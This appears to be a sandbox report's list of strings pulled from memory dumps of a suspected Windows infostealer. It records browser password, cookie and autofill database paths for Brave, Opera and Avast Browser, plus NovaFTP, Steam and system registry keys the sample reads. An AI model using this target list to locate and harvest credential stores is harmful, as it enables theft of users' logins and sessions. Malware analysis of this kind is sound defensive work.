00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\urbrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\chedot.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Local\AVAST Software\Browser\User Data\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\vivaldi.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\.NET v4.5 Classic\AppData\Local\Opera Software\Opera Neon\User Data\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\Default\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\mullvadbrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\ElementsBrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00002344.00000001.147976.09777000.00000004.mdmp "\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000001.147976.09777000.00000004.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.00640000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\Default User\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\.NET v4.5\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "L_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\urbrowser.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\chedot.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Local\AVAST Software\Browser\User Data\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\vivaldi.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\.NET v4.5 Classic\AppData\Local\Opera Software\Opera Neon\User Data\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\Default\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\opera.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\mullvadbrowser.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\ElementsBrowser.exe" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00002344.00000002.149897.09777000.00000004.mdmp "\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000002.149897.09777000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002344.00000002.149897.6F161000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00002344.00000002.149897.6F161000.00000020.mdmp "HKLM\" in Source: 00000000-00002344.00000002.149897.6F161000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002344.00000002.149897.6F161000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000002.149897.6F161000.00000020.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000003.153126.00640000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002344.00000003.153126.00640000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002344.00000003.153126.00640000.00000004.mdmp "stry\Machine\Software\Classes\AllFilesystemObjects" in Source: 00000000-00002344.00000003.153126.00640000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions" in Source: 00000000-00002344.00000003.153126.00722000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "SOFTWARE\Classes\PROTOCOLS\Handler\ms-settings" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\Python.File\Clsid" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\OneNote.Section.1" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "SOFTWARE\Classes\PROTOCOLS\Handler\windowsdefender" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\CompressedFolder" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\*\ShellEx\PropertyHandler" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\SystemFileAssociations\.py" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\SystemFileAssociations\.zip" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\Python.File\BrowseInPlace" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "Registry\Machine\Software\Classes\PROTOCOLS\Name-Space Handler" in Source: 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "L_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.one" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\OneNote.Section.1" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\AppXaf0097ws4bwb0wre67gmp7pc9fjr8en6" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.zip" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\chedot.exe" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7b81be6a-ce2b-4676-a29e-eb907a5126c5}\InProcServer32" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\Instance" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{ED7BA470-8E54-465E-825C-99712043E01C}\Instance" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{5FA29220-36A1-40F9-89C6-F4B384B7642E}\OverrideFileSystemProperties" in Source: 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00002344.00000003.153126.09777000.00000004.mdmp 